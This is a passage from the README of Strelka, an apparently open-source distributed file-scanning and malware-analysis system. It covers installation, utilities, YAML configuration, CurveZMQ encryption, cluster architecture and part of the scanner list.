  * Use traffic control \(tc\) to shape connections to Strelka

### "Should I run my Strelka cluster on my Bro/Suricata network sensor?"

No\! Strelka clusters run CPU-intensive processes that will negatively impact
system-critical applications like Bro and Suricata. If you want to integrate a
network sensor with Strelka, then use `strelka_dirstream.py`. This utility is
capable of sending millions of files per day from a single network sensor to a
Strelka cluster without impacting system-critical applications.

### "I have other questions\!"

Please file an issue or contact the project team at TTS-CFC-
OpenSource@target.com. The project lead can also be reached on Twitter at
@jshlbrd.

## Installation

The recommended operating system for Strelka is Ubuntu 18.04 LTS \(Bionic
Beaver\) -- it may work with earlier versions of Ubuntu if the appropriate
packages are installed. We recommend using the Docker container for production
deployments and welcome pull requests that add instructions for installing on
other operating systems.

### Ubuntu 18.04 LTS

  1. Update packages and install build packages
[code]    apt-get update && apt-get install --no-install-recommends automake
build-essential curl gcc git libtool make python3-dev python3-pip
python3-wheelsh

[/code]

  2. Install runtime packages
[code]    apt-get install --no-install-recommends antiword libarchive-dev
libfuzzy-dev libimage-exiftool-perl libmagic-dev libssl-dev python3-setuptools
tesseract-ocr unrar upx jqsh

[/code]

  3. Install pip3 packages
[code]     pip3 install -r requirements.txtsh

[/code]

  4. Install YARA
[code]    curl -OL https://github.com/VirusTotal/yara/archive/v3.8.1.tar.gz

    tar -zxvf v3.8.1.tar.gz
    cd yara-3.8.1/
    ./bootstrap.sh
    ./configure --with-crypto --enable-dotnet --enable-magic
    make && make install && make check
    echo "/usr/local/lib" >> /etc/ld.so.conf
    ldconfigsh
[/code]

  5. Install yara-python
[code]    curl -OL https://github.com/VirusTotal/yara-
python/archive/v3.8.1.tar.gz

    tar -zxvf v3.8.1.tar.gz
    cd yara-python-3.8.1/
    python3 setup.py build --dynamic-linking
    python3 setup.py installsh
[/code]

  6. Create Strelka directories
[code]     mkdir /var/log/strelka/ && mkdir /opt/strelka/sh

[/code]

  7. Clone this repository
[code]     git clone https://github.com/target/strelka.git /opt/strelka/sh

[/code]

  8. Compile the Strelka protobuf
[code]     cd /opt/strelka/server/ && protoc --python_out=. strelka.protosh

[/code]

  9. \(Optional\) Install the Strelka utilities
[code]     cd /opt/strelka/ && python3 setup.py -q build && python3 setup.py
-q install && python3 setup.py -q clean --allsh

[/code]

### CentOS 7

  1. Get pre-reqs and libs:
[code]     yum install curl gcc git libtool make python36-setuptools
python36-devel python-wheel upx jq libarchive-devel libffi-devel ssdeep-libs
ssdeep-devel tesseract file-devel perl-Image-ExifTool openssl-devel python-
pip3 protobuf protobuf-devel autoconf automake unzip gcc-c++sh

[/code]

  2. Get Strelka
[code]     git clone https://github.com/target/strelka.git /opt/strelka/

    
     cd /opt/strelkash
[/code]

  3. Get Requirements:
[code]     /usr/local/bin/pip3.6 install -r requirements.txtsh

[/code]

  4. Get/Install Yara
[code]     curl -OL https://github.com/VirusTotal/yara/archive/v3.8.1.tar.gz

     tar -zxvf v3.8.1.tar.gz
     cd yara-3.8.1/
     ./bootstrap.sh
     ./configure --with-crypto --enable-dotnet --enable-magic
     make && make install && make check
     echo "/usr/local/lib" >> /etc/ld.so.conf
     ldconfig
    sh
[/code]

  5. Get/Install Yara-Py
[code]     curl -OL https://github.com/VirusTotal/yara-
python/archive/v3.8.1.tar.gz

     tar -zxvf v3.8.1.tar.gz
     cd yara-python-3.8.1/
     python3 setup.py build --dynamic-linking
     python3 setup.py install
    
     mkdir /var/log/strelka/
    sh
[/code]

  6. Install protobuff 3.x
[code]     wget
https://github.com/protocolbuffers/protobuf/releases/download/v3.6.1/protobuf-
all-3.6.1.tar.gz

    
     tar xvfz protobuf-all-3.6.1.tar.gz
     cd protobuf-all-3.6.1.tar.gz
     ./autogen.sh
     ./configure —prefix=/usr
     make
     make install
     ldconfig
    sh
[/code]

  7. Compile Strelka Protobuf:
[code]     cd /opt/strelka/server/ && protoc --python_out=. strelka.proto

    sh
[/code]

  8. Install Strelka utils:
[code]     cd /opt/strelka/ && python3 setup.py -q build && python3 setup.py
-q install && python3 setup.py -q clean --allsh

[/code]

### Docker

  1. Clone this repository
[code]     git clone https://github.com/target/strelka.git /opt/strelka/sh

[/code]

  2. Build the container
[code]     cd /opt/strelka/ && docker build -t strelka .sh

[/code]

## Quickstart

By default, Strelka is configured to use a minimal "quickstart" deployment
that allows users to test the system. This configuration **is not
recommended** for production deployments. Using two Terminal windows, do the
following:

Terminal 1

[code]

    $ strelka.py
[/code]

Terminal 2:

[code]

    $ strelka_user_client.py --broker 127.0.0.1:5558 --path <path to the file to scan>
    $ cat /var/log/strelka/*.log | jq .
[/code]

Terminal 1 runs a Strelka cluster \(broker, 4 workers, and log rotation\) with
debug logging and Terminal 2 is used to send file requests to the cluster and
read the scan results.

## Deployment

### Utilities

Strelka's design as a distributed system creates the need for client-side and
server-side utilities. Client-side utilities provide methods for sending file
requests to a cluster and server-side utilities provide methods for
distributing and scanning files sent to a cluster.

#### strelka.py

`strelka.py` is a non-interactive, server-side utility that contains
everything needed for running a large-scale, distributed Strelka cluster. This
includes:

  * Capability to run servers in any combination of broker/workers
    * Broker distributes file tasks to workers
    * Workers perform file analysis on tasks
  * On-disk scan result logging
    * Configurable log rotation and management
    * Compatible with external log shippers \(e.g. Filebeat, Splunk Universal Forwarder, etc.\)
  * Supports encryption and authentication for connections between clients and brokers
  * Self-healing child processes \(brokers, workers, log management\)

This utility is managed with two configuration files:
`etc/strelka/strelka.yml` and `etc/strelka/pylogging.ini`.

The help page for `strelka.py` is shown below:

[code]

    usage: strelka.py [options]
    
    runs Strelka as a distributed cluster.
    
    optional arguments:
      -h, --help            show this help message and exit
      -d, --debug           enable debug messages to the console
      -c STRELKA_CFG, --strelka-config STRELKA_CFG
                            path to strelka configuration file
      -l LOGGING_INI, --logging-ini LOGGING_INI
                            path to python logging configuration file
[/code]

#### strelka\_dirstream.py

`strelka_dirstream.py` is a non-interactive, client-side utility used for
sending files from a directory to a Strelka cluster in near real-time. This
utility uses inotify to watch the directory and sends files to the cluster as
soon as possible after they are written.

Additionally, for select file sources, this utility can parse metadata
embedded in the file's filename and send it to the cluster as external
metadata. Bro network sensors are currently the only supported file source,
but other application-specific sources can be added.

Using the utility with Bro requires no modification of the Bro source code,
but it does require the network sensor to run a Bro script that enables file
extraction. We recommend using our stub Bro script \(`etc/bro/extract-
strelka.bro`\) to extract files. Other extraction scripts will also work, but
they will not parse Bro's metadata.

This utility is managed with one configuration file:
`etc/dirstream/dirstream.yml`.

The help page for `strelka_dirstream.py` is shown below:

[code]

    usage: strelka_dirstream.py [options]
    
    sends files from a directory to a Strelka cluster in near real-time.
    
    optional arguments:
      -h, --help            show this help message and exit
      -d, --debug           enable debug messages to the console
      -c DIRSTREAM_CFG, --dirstream-config DIRSTREAM_CFG
                            path to dirstream configuration file
[/code]

#### strelka\_user\_client.py

`strelka_user_client.py` is a user-driven, client-side utility that is used
for sending ad-hoc file requests to a cluster. This client should be used when
file analysis is needed for a specific file or group of files -- it is
explicitly designed for users and should not be expected to perform long-lived
or fully automated file requests. We recommend using this utility as an
example of what is required in building new client utilities.

Using this utility, users can send three types of file requests:

  * Individual file
  * Directory of files
  * Remote file \(see: remote file requests\)

The help page for `strelka_user_client.py` is shown below:

[code]

    usage: strelka_user_client.py [options]
    
    sends ad-hoc file requests to a Strelka cluster.
    
    optional arguments:
      -h, --help            show this help message and exit
      -d, --debug           enable debug messages to the console
      -b BROKER, --broker BROKER
                            network address and network port of the broker (e.g.
                            127.0.0.1:5558)
      -p PATH, --path PATH  path to the file or directory of files to send to the
                            broker
      -l LOCATION, --location LOCATION
                            JSON representation of a location for the cluster to
                            retrieve files from
      -t TIMEOUT, --timeout TIMEOUT
                            amount of time (in seconds) to wait until a file
                            transfer times out
      -bpk BROKER_PUBLIC_KEY, --broker-public-key BROKER_PUBLIC_KEY
                            location of the broker Curve public key certificate
                            (this option enables curve encryption and must be used
                            if the broker has curve enabled)
      -csk CLIENT_SECRET_KEY, --client-secret-key CLIENT_SECRET_KEY
                            location of the client Curve secret key certificate
                            (this option enables curve encryption and must be used
                            if the broker has curve enabled)
      -ug, --use-green      determines if PyZMQ green should be used, which can
                            increase performance at the risk of message loss
[/code]

#### generate\_curve\_certificates.py

`generate_curve_certificates.py` is a utility used for generating broker and
worker Curve certificates. This utility is required for setting up Curve
encryption/authentication.

The help page for `generate_curve_certificates.py` is shown below:

[code]

    usage: generate_curve_certificates.py [options]
    
    generates curve certificates used by brokers and clients.
    
    optional arguments:
      -h, --help            show this help message and exit
      -p PATH, --path PATH  path to store keys in (defaults to current working
                            directory)
      -b, --broker          generate curve certificates for a broker
      -c, --client          generate curve certificates for a client
      -cf CLIENT_FILE, --client-file CLIENT_FILE
                            path to a file containing line-separated list of
                            clients to generate keys for, useful for creating many
                            client keys at once
[/code]

#### validate\_yara.py

`validate_yara.py` is a utility used for recursively validating a directory of
YARA rules files. This can be useful when debugging issues related to the
`ScanYara` scanner.

The help page for `validate_yara.py` is shown below:

[code]

    usage: validate_yara.py [options]
    
    validates YARA rules files.
    
    optional arguments:
      -h, --help            show this help message and exit
      -p PATH, --path PATH  path to directory containing YARA rules
      -e, --error           boolean that determines if warnings should cause
                            errors
[/code]

### Configuration Files

Strelka uses YAML for configuring client-side and server-side utilities. We
recommend using the default configurations and modifying the options as
needed.

#### Strelka Configuration \(`strelka.py`\)

Strelka's cluster configuration file is stored in `etc/strelka/strelka.yml`
and contains three sections: daemon, remote, and scan.

##### Daemon Configuration

The daemon configuration contains five sub-sections: processes, network,
broker, workers, and logrotate.

The "processes" section controls the processes launched by the daemon. The
configuration options are:

  * "run\_broker": boolean that determines if the server should run a Strelka broker process \(defaults to True\)
  * "run\_workers": boolean that determines if the server should run Strelka worker processes \(defaults to True\)
  * "run\_logrotate": boolean that determines if the server should run a Strelka log rotation process \(defaults to True\)
  * "worker\_count": number of workers to spawn \(defaults to 4\)
  * "shutdown\_timeout": amount of time \(in seconds\) that will elapse before the daemon forcibly kills child processes after they have received a shutdown command \(defaults to 45 seconds\)

The "network" section controls network connectivity. The configuration options
are:

  * "broker": network address of the broker \(defaults to 127.0.0.1\)
  * "request\_socket\_port": network port used by clients to send file requests to the broker \(defaults to 5558\)
  * "task\_socket\_port": network port used by workers to receive tasks from the broker \(defaults to 5559\)

The "broker" section controls settings related to the broker process. The
configuration options are:

  * "poller\_timeout": amount of time \(in milliseconds\) that the broker polls for client requests and worker statuses \(defaults to 1000 milliseconds\)
  * "broker\_secret\_key": location of the broker Curve secret key certificate \(enables Curve encryption, requires clients to use Curve, defaults to None\)
  * "client\_public\_keys": location of the directory containing client Curve public key certificates \(enables Curve encryption and authentication, requires clients to use Curve, defaults to None\)
  * "prune\_frequency": frequency \(in seconds\) at which the broker prunes dead workers \(defaults to 5 seconds\)
  * "prune\_delta": delta \(in seconds\) that must pass since a worker last checked in with the broker before it is considered dead and is pruned \(defaults to 10 seconds\)

The "workers" section controls settings related to worker processes. The
configuration options are:

  * "task\_socket\_reconnect": amount of time \(in milliseconds\) that the task socket will attempt to reconnect in the event of TCP disconnection, this will have additional jitter applied \(defaults to 100ms plus jitter\)
  * "task\_socket\_reconnect\_max": maximum amount of time \(in milliseconds\) that the task socket will attempt to reconnect in the event of TCP disconnection, this will have additional jitter applied \(defaults to 4000ms plus jitter\)
  * "poller\_timeout": amount of time \(in milliseconds\) that workers poll for file tasks \(defaults to 1000 milliseconds\)
  * "file\_max": number of files a worker will process before shutting down \(defaults to 10000\)
  * "time\_to\_live": amount of time \(in minutes\) that a worker will run before shutting down \(defaults to 30 minutes\)
  * "heartbeat\_frequency": frequency \(in seconds\) at which a worker sends a heartbeat to the broker if it has not received any file tasks \(defaults to 10 seconds\)
  * "log\_directory": location where worker scan results are logged to \(defaults to /var/log/strelka/\)
  * "log\_field\_case": field case \("camel" or "snake"\) of the scan result log file data \(defaults to camel\)
  * "log\_bundle\_events": boolean that determines if scan results should be bundled in single event as an array or in multiple events \(defaults to True\)

The "logrotate" section controls settings related to the log rotation process.
The configuration options are:

  * "directory": directory to run log rotation on \(defaults to /var/log/strelka/\)
  * "compression\_delta": delta \(in minutes\) that must pass since a log file was last modified before it is compressed \(defaults to 15 minutes\)
  * "deletion\_delta": delta \(in minutes\) that must pass since a compressed log file was last modified before it is deleted \(defaults to 360 minutes / 6 hours\)

##### Remote Configuration

The remote configuration contains one sub-section: remote.

The "remote" section controls how workers retrieve files from remote file
stores. Google Cloud Storage, Amazon S3, OpenStack Swift, and HTTP file stores
are supported. All options in this configuration file are optionally read from
environment variables if they are "null". The configuration options are:

  * "remote\_timeout": amount of time \(in seconds\) to wait before timing out individual file retrieval
  * "remote\_retries": number of times individual file retrieval will be re-attempted in the event of a timeout
  * "google\_application\_credentials": path to the Google Cloud Storage JSON credentials file
  * "aws\_access\_key\_id": AWS access key ID
  * "aws\_secret\_access\_key": AWS secret access key
  * "aws\_default\_region": default AWS region
  * "st\_auth\_version": OpenStack authentication version \(defaults to 3\)
  * "os\_auth\_url": OpenStack Keystone authentication URL
  * "os\_username": OpenStack username
  * "os\_password": OpenStack password
  * "os\_cert": OpenStack Keystone certificate
  * "os\_cacert": OpenStack Keystone CA Certificate
  * "os\_user\_domain\_name": OpenStack user domain
  * "os\_project\_name": OpenStack project name
  * "os\_project\_domain\_name": OpenStack project domain
  * "http\_basic\_user": HTTP Basic authentication username
  * "http\_basic\_pass": HTTP Basic authentication password
  * "http\_verify": path to the CA bundle \(file or directory\) used for SSL verification \(defaults to False, no verification\)

##### Scan Configuration

The scan configuration contains two sub-sections: distribution and scanners.

The "distribution" section controls how files are distributed through the
system. The configuration options are:

  * "close\_timeout": amount of time \(in seconds\) that a scanner can spend closing itself \(defaults to 30 seconds\)
  * "distribution\_timeout": amount of time \(in seconds\) that a single file can be distributed to all scanners \(defaults to 1800 seconds / 30 minutes\)
  * "scanner\_timeout": amount of time \(in seconds\) that a scanner can spend scanning a file \(defaults to 600 seconds / 10 minutes, can be overridden per-scanner\)
  * "maximum\_depth": maximum depth that child files will be processed by scanners
  * "taste\_mime\_db": location of the MIME database used to taste files \(defaults to None, system default\)
  * "taste\_yara\_rules": location of the directory of YARA files that contains rules used to taste files \(defaults to etc/strelka/taste/\)

The "scanners" section controls which scanners are assigned to each file; each
scanner is assigned by mapping flavors, filenames, and sources from this
configuration to the file. "scanners" must always be a dictionary where the
key is the scanner name \(e.g. `ScanZip`\) and the value is a list of
dictionaries containing values for mappings, scanner priority, and scanner
options.

Assignment occurs through a system of positive and negative matches: any
negative match causes the scanner to skip assignment and at least one positive
match causes the scanner to be assigned. A unique identifier \(`*`\) is used
to assign scanners to all flavors. See File Distribution, Scanners, Flavors,
and Tasting for more details on flavors.

Below is a sample configuration that runs the scanner "ScanHeader" on all
files and the scanner "ScanRar" on files that match a YARA rule named
"rar\_file".

[code]

    scanners:
      'ScanHeader':
        - positive:
            flavors:
              - '*'
          priority: 5
          options:
            length: 50
      'ScanRar':
        - positive:
            flavors:
              - 'rar_file'
          priority: 5
          options:
            limit: 1000yaml
[/code]

The "positive" dictionary determines which flavors, filenames, and sources
cause the scanner to be assigned. Flavors is a list of literal strings while
filenames and sources are regular expressions. One positive match will assign
the scanner to the file.

Below is a sample configuration that shows how RAR files can be matched
against a YARA rule \(`rar_file`\), a MIME type \(`application/x-rar`\), and a
filename \(any that end with `.rar`\).

[code]

    scanners:
      'ScanRar':
        - positive:
            flavors:
              - 'application/x-rar'
              - 'rar_file'
            filename: '\.rar$'
          priority: 5
          options:
            limit: 1000yaml
[/code]

Each scanner also supports negative matching through the "negative"
dictionary. Negative matches occur before positive matches, so any negative
match guarantees that the scanner will not be assigned. Similar to positive
matches, negative matches support flavors, filenames, and sources.

Below is a sample configuration that shows how RAR files can be positively
matched against a YARA rule \(`rar_file`\) and a MIME type
\(`application/x-rar`\), but only if they are not negatively matched against a
filename \(`\.rar$`\). This configuration would cause `ScanRar` to only be
assigned to RAR files that do not have the extension ".rar".

[code]

    scanners:
      'ScanRar':
        - negative:
            filename: '\.rar$'
          positive:
            flavors:
              - 'application/x-rar'
              - 'rar_file'
          priority: 5
          options:
            limit: 1000yaml
[/code]

Each scanner supports multiple mappings -- this makes it possible to assign
different priorities and options to the scanner based on the mapping
variables. If a scanner has multiple mappings that match a file, then the
first mapping wins.

Below is a sample configuration that shows how a single scanner can apply
different options depending on the mapping.

[code]

    scanners:
      'ScanX509':
        - positive:
            flavors:
              - 'x509_der_file'
          priority: 5
          options:
            type: 'der'
        - positive:
            flavors:
              - 'x509_pem_file'
          priority: 5
          options:
            type: 'pem'yaml
[/code]

#### Python Logging Configuration \(`strelka.py`\)

`strelka.py` uses an ini file \(`etc/strelka/pylogging.ini`\) to manage
cluster-level statistics and information output by the Python logger. By
default, this configuration file will log data to stdout and disable logging
for packages imported by scanners.

#### DirStream Configuration \(`strelka_dirstream.py`\)

Strelka's dirstream configuration file is stored in
`etc/dirstream/dirstream.yml` and contains two sub-sections: processes and
workers.

The "processes" section controls the processes launched by the utility. The
configuration options are:

  * "shutdown\_timeout": amount of time \(in seconds\) that will elapse before the utility forcibly kills child processes after they have received a shutdown command \(defaults to 10 seconds\)

The "workers" section controls directory settings and network settings for
each worker that sends files to the Strelka cluster. This section is a list;
adding multiple directory/network settings makes it so multiple directories
can be monitored at once. The configuration options are:

  * "directory": directory that files are sent from \(defaults to None\)
  * "source": application that writes files to the directory, used to control metadata parsing functionality \(defaults to None\)
  * "meta\_separator": unique string used to separate pieces of metadata in a filename, used to parse metadata and send it along with the file to the cluster \(defaults to "S^E^P"\)
  * "file\_mtime\_delta": delta \(in seconds\) that must pass since a file was last modified before it is sent to the cluster \(defaults to 5 seconds\)
  * "delete\_files": boolean that determines if files should be deleted after they are sent to the cluster \(defaults to False\)
  * "broker": network address and network port of the broker \(defaults to "127.0.0.1:5558"\)
  * "timeout": amount of time \(in seconds\) to wait for a file to be successfully sent to the broker \(defaults to 10\)
  * "use\_green": boolean that determines if PyZMQ green should be used \(this can increase performance at the risk of message loss, defaults to True\)
  * "broker\_public\_key": location of the broker Curve public key certificate \(enables Curve encryption, must be used if the broker has Curve enabled\)
  * "client\_secret\_key": location of the client Curve secret key certificate \(enables Curve encryption, must be used if the broker has Curve enabled\)

To enable Bro support, a Bro file extraction script must be run by the Bro
application; Strelka's file extraction script is stored in `etc/bro/extract-
strelka.bro` and includes variables that can be redefined at Bro runtime.
These variables are:

  * "mime\_table": table of strings \(Bro `source`\) mapped to a set of strings \(Bro `mime_type`\) -- this variable defines which file MIME types Bro extracts and is configurable based on the location Bro identified the file \(e.g. extract `application/x-dosexec` files from SMTP, but not SMB or FTP\)
  * "filename\_re": regex pattern that can extract files based on Bro `filename`
  * "unknown\_mime\_source": set of strings \(Bro `source`\) that determines if files of an unknown MIME type should be extracted based on the location Bro identified the file \(e.g. extract unknown files from SMTP, but not SMB or FTP\)
  * "meta\_separator": string used in extracted filenames to separate embedded Bro metadata -- this must match the equivalent value in `etc/dirstream/dirstream.yml`
  * "directory\_count\_interval": interval used to schedule how often the script checks the file count in the extraction directory
  * "directory\_count\_threshold": int that is used as a trigger to temporarily disable file extraction if the file count in the extraction directory reaches the threshold

### Encryption and Authentication

Strelka has built-in, optional encryption and authentication for client
connections provided by CurveZMQ.

#### CurveZMQ

CurveZMQ \(Curve\) is ZMQ's encryption and authentication protocol. Read more
about it here.

#### Using Curve

Strelka uses Curve to encrypt and authenticate connections between clients and
brokers. By default, Strelka's Curve support is setup to enable encryption but
not authentication.

To enable Curve encryption, the broker must be loaded with a private key --
any clients connecting to the broker must have the broker's public key to
successfully connect.

To enable Curve encryption and authentication, the broker must be loaded with
a private key and a directory of client public keys -- any clients connecting
to the broker must have the broker's public key and have their client key
loaded on the broker to successfully connect.

The `generate_curve_certificates.py` utility can be used to create client and
broker certificates.

### Clusters

The following are recommendations and considerations to keep in mind when
deploying clusters.

#### General Recommendations

The following recommendations apply to all clusters:

  * Do not run workers on the same server as a broker
    * This puts the health of the entire cluster at risk if the server becomes over-utilized
  * Do not over-allocate workers to CPUs
    * 1 worker per CPU
  * Allocate at least 1GB RAM per worker
    * If workers do not have enough RAM, then there will be excessive memory errors
    * Big files \(especially compressed files\) require more RAM
    * In large clusters, diminishing returns begin above 4GB RAM per worker
  * Allocate as much RAM as reasonable to the broker
    * ZMQ messages are stored entirely in memory -- in large deployments with many clients, the broker may use a lot of RAM if the workers cannot keep up with the number of file tasks

#### Sizing Considerations

Multiple variables should be considered when determining the appropriate size
for a cluster:

  * Number of file requests per second
  * Type of file requests
    * Remote file requests take longer to process than direct file requests
  * Diversity of files requested
    * Binary files take longer to scan than text files
  * Number of YARA rules deployed
    * Scanning a file with 50,000 rules takes longer than scanning a file with 50 rules

The best way to properly size a cluster is to start small, measure
performance, and scale out as needed.

#### Docker Considerations

Below is a list of considerations to keep in mind when running a cluster with
Docker containers:

  * Share volumes, not files, with the container
    * Strelka's workers will read configuration files and YARA rules files when they startup -- sharing volumes with the container ensures that updated copies of these files on the localhost are reflected accurately inside the container without needing to restart the container
  * Increase stop-timeout
    * By default, Docker will forcibly kill a container if it has not stopped after 10 seconds -- this value should be increased to **greater than** the `shutdown_timeout` value in `etc/strelka/strelka.yml`
  * Increase shm-size
    * By default, Docker limits a container's shm size to 64MB -- this can cause errors with Strelka scanners that utilize `tempfile`
  * Set logging options
    * By default, Docker has no log limit for logs output by a container

#### Management

Due to its distributed design, we recommend using container orchestration
\(e.g. Kubernetes\) or configuration management/provisioning \(e.g. Ansible,
SaltStack, etc.\) systems for managing clusters.

## Architecture

### Overview

Strelka's architecture allows clients \("clients"\) to submit file requests to
a single intake server \("broker"\) which distributes the requests as tasks to
multiple processing servers \("workers"\). A series of workers connected to a
broker creates a "cluster." During file processing, files are sent through a
series of metadata and file extraction modules \("scanners"\) via a user-
defined distribution system \("tastes" and "flavors"\); file scan results are
logged to disk and can be sent to downstream analytics platforms \(e.g.
ElasticStack, Splunk, etc.\).

This architecture makes the following deployments possible:

  * 1-to-1 cluster \(one client to one worker\)
  * 1-to-N cluster \(one client to N workers\)
  * N-to-1 cluster \(N clients to one worker\)
  * N-to-N cluster \(N clients to N workers\)

The most practical deployment is an N-to-N cluster -- this creates a fully
scalable deployment that can be modified in-place without requiring cluster
downtime.

### Networking

Clients, brokers, and workers communicate using TCP sockets in the ZeroMQ
\(ZMQ\) networking library.

### Messaging

File requests are encoded as protocol buffers \(protobuf\). protobufs have a
maximum message size of 2GB -- any attempts to send file requests bigger than
the maximum message size will fail and we have observed inconsistent behavior
with direct file requests larger than 1.5GB. We do not recommend scanning
extremely large files \(>1GB\), but if you must, then we suggest using remote
file requests to do so.

### Data

Configuration files are written in YAML format. Internal file metadata is
written in JSON format according to Google's JSON style guide. Timestamp
metadata is formatted according to ISO 8601 \(UTC in seconds\).

## Design

### Communication

All communication occurs via ZMQ -- clients communicate unidirectionally with
brokers and brokers communicate bidirectionally with workers \(clients never
communicate with workers\).

#### Client-to-Broker

Client-to-broker communication uses ZMQ's PUSH-PULL pattern -- clients _push_
file requests to a broker which _pulls_ the request. The pattern is visualized
like this:

[code]

    Client (PUSH) ---> (PULL) Broker
[/code]

#### Broker-to-Worker

Broker-to-worker communication uses ZMQ's ROUTER-DEALER pattern.

The ROUTER-DEALER pattern enables bidirectional communication between the
broker and worker. When a worker starts up or completes a file scan, it sends
a ready status \(`\x01`\) to the broker signaling that it is ready to receive
new tasks. As the broker receives file requests from clients, it uses a FIFO
queue \(`worker_pool`\) to distribute tasks to workers. On shutdown \(planned
or unplanned\), the worker sends a shutdown status \(`\x10`\) to the broker
signaling that it is no longer available to receive new tasks.

Strelka uses a modified paranoid pirate pattern to manage dead workers.
Workers send a heartbeat \(status `\x01`\) to the broker every N seconds
according to "heartbeat\_frequency" in the daemon configuration. This ensures
that the broker knows each worker is alive and, if the broker goes offline and
comes back online, that the broker eventually has an up-to-date worker pool.
Similarly, the broker prunes dead workers from the worker pool every N seconds
according to "prune\_frequency" in the daemon configuration if workers have
not sent a heartbeat within a delta determined by "prune\_delta". This ensures
that dead workers do not remain in the worker pool.

This communication pattern is used hundreds-to-thousands of times during the
life of a single worker. The pattern is visualized like this:

[code]

    Broker (ROUTER) <---> (DEALER) Worker
[/code]

### File Distribution, Scanners, Flavors, and Tastes

Strelka's file distribution assigns scanners \(`server/scanners/*`\) to files
based on a system of "flavors" and "tastes". Flavors describe the type of file
being distributed through the system and come in three types:

  * MIME flavors -- assigned by libmagic \(e.g. "application/zip"\)
  * YARA flavors -- assigned by YARA rule matches \(e.g. "zip\_file"\)
  * External flavors -- assigned by a file request or a parent file \(e.g. "zip"\)

As files enter the system, they are tasted \(e.g. scanned with YARA\), their
flavor is identified, and the flavor is checked for a corresponding mapping in
the scan configuration \(`etc/strelka/strelka.yml`, see Scan Configuration for
more details\) -- flavors are the primary method through which scanners are
assigned to files.

### File Requests

Strelka supports two types of file requests, direct and remote, that are made
via a shared protobuf message. A single cluster can concurrently support both
types of file requests.

#### Direct

A direct file request is one where the client includes the file's data in the
protobuf message \(data is stored in the `data` key\). This is the default
method for submitting files and is handled via the client library function
`request_to_protobuf`.

#### Remote

A remote file request is one where the client includes the file's location
details in the protobuf message \(location details are stored in the
`location` key\). Location details are stored in the protobuf as a map of
strings \(the client library function `request_to_protobuf` will automatically
convert a Python dictionary to the correct format\). A file's location details
vary depending on where the file is hosted.

For files stored in Amazon S3, Google Cloud Storage, and OpenStack Swift,
`location` follows this format:

  * "type": type of file store the file is located in \(must be set to "amazon", "google", or "openstack"\)
  * "bucket": bucket/container the file is located in
  * "object": name of the file

For files stored on HTTP servers, `location` follows this format:

  * "type": must be set to "http"
  * "object": URL of the file

Authentication to remote file stores is handled via `etc/strelka/strelka.yml`
\(see Remote Configuration for more details\).

#### `FileRequest` protobuf

Below is a description of the keys included in the `FileRequest` protobuf. All
keys are optional. This information can be used to create a valid protobuf
string in other scripting languages.

  * "data" \(bytes\): file data, used when sending a direct file request
  * "location" \(map<string, string>\): location details, used when sending a remote file request \("data" takes precedence over this key\)
  * "filename" \(string\): filename of the file represented in the request
  * "source" \(string\): source of the file request \(e.g. system hostname\)
  * "flavors" \(repeated string\): flavor of the file represented in the request
  * "metadata" \(map<string, string>\): metadata associated with the file request

## Scanners

Each scanner parses files of a specific flavor and performs metadata
collection and/or file extraction on them. Scanners are typically named after
the type of file they are intended to scan \(e.g. "ScanHtml", "ScanPe",
"ScanRar"\) but may also be named after the type of function or tool they use
to perform their tasks \(e.g. "ScanExiftool", "ScanHeader", "ScanOcr"\).

### Scanner List

The table below describes each scanner and its options. Each scanner has the
hidden option "scanner\_timeout" which can override the distribution
scanner\_timeout.

Scanner Name | Scanner Description | Scanner Options  
---|---|---  
ScanAntiword | Extracts text from MS Word documents | "tempfile\_directory" -- location where tempfile writes temporary files \(defaults to "/tmp/"\)  
ScanBatch | Collects metadata from batch script files | N/A  
ScanBzip2 | Decompresses bzip2 files | N/A  
ScanCuckoo | Sends files to a Cuckoo sandbox | "url" -- URL of the Cuckoo sandbox \(defaults to None\)  
"priority" -- Cuckoo priority assigned to the task \(defaults to 3\)  
"timeout" -- amount of time \(in seconds\) to wait for the task to upload
\(defaults to 10\)  
"unique" -- boolean that tells Cuckoo to only analyze samples that have not
been analyzed before \(defaults to True\)  
"username" -- username used for authenticating to Cuckoo \(defaults to None,
optionally read from environment variable "CUCKOO\_USERNAME"\)  
"password" -- password used for authenticating to Cuckoo \(defaults to None,
optionally read from environment variable "CUCKOO\_PASSWORD"\)  
ScanDocx | Collects metadata and extracts text from docx files | "extract\_text" -- boolean that determines if document text should be extracted as a child file \(defaults to False\)  
ScanElf | Collects metadata from ELF files | N/A  
ScanEmail | Collects metadata and extract files from email messages | N/A  
ScanEntropy | Calculates entropy of files | N/A  
ScanExiftool | Collects metadata parsed by Exiftool | "tempfile\_directory" -- location where tempfile writes temporary files \(defaults to "/tmp/"\)  
ScanFalconSandbox | Sends files to an instance of Falcon Sandbox | "server" -- URL of the Falcon Sandbox API inteface   
"priority" -- Falcon Sandbox priority assigned to the task \(defaults to 3\)  
"timeout" -- amount of time \(in seconds\) to wait for the task to upload
\(defaults to 60\)  
"envID" -- list of numeric envrionment IDs that tells Falcon Sandbox which
sandbox to submit a sample to \(defaults to \[100\]\)  
"api\_key" -- API key used for authenticating to Falcon Sandbox \(defaults to
None, optionally read from environment variable "FS\_API\_KEY"\)  
"api\_secret" -- API secret key used for authenticating to Falcon Sandbox
\(defaults to None, optionally read from environment variable
"FS\_API\_SECKEY"\)  
ScanGif | Extracts data embedded in GIF files | N/A  
ScanGzip | Decompresses gzip files | N/A  
ScanHash | Calculates file hash values | N/A  
ScanHeader | Collects file header | "length" -- number of header characters to log as metadata \(defaults to 50\)  
ScanHtml | Collects metadata and extracts embedded files from HTML files | "parser" -- sets the HTML parser used during scanning \(defaults to "html.parser"\)  
ScanJarManifest | Collects metadata from JAR manifest files | N/A  
ScanJavascript | Collects metadata from Javascript files | "beautify" -- beautifies JavaScript before parsing \(defaults to True\)  
ScanJpeg | Extracts data embedded in JPEG files | N/A  
ScanJson | Collects keys from JSON files | N/A  
ScanLibarchive | Extracts files from libarchive-compatible archives. | "limit" -- maximum number of files to extract \(defaults to 1000\)  
ScanLzma | Decompresses lzma files | N/A  
ScanMacho | Collects metadata from Mach-O files | "tempfile\_directory" -- location where tempfile writes temporary files \(defaults to "/tmp/"\)  
ScanMmbot | Collects VB results from a server running mmbotd | "server" -- network address and network port of the mmbotd server \(defaults to "127.0.0.1:33907"\)  
"timeout" -- amount of time \(in milliseconds\) to wait for a response from
the server \(defaults to 10000\)  
ScanOcr | Collects metadata and extracts optical text from image files | "extract\_text" -- boolean that determines if document text should be extracted as a child file \(defaults to False\)  
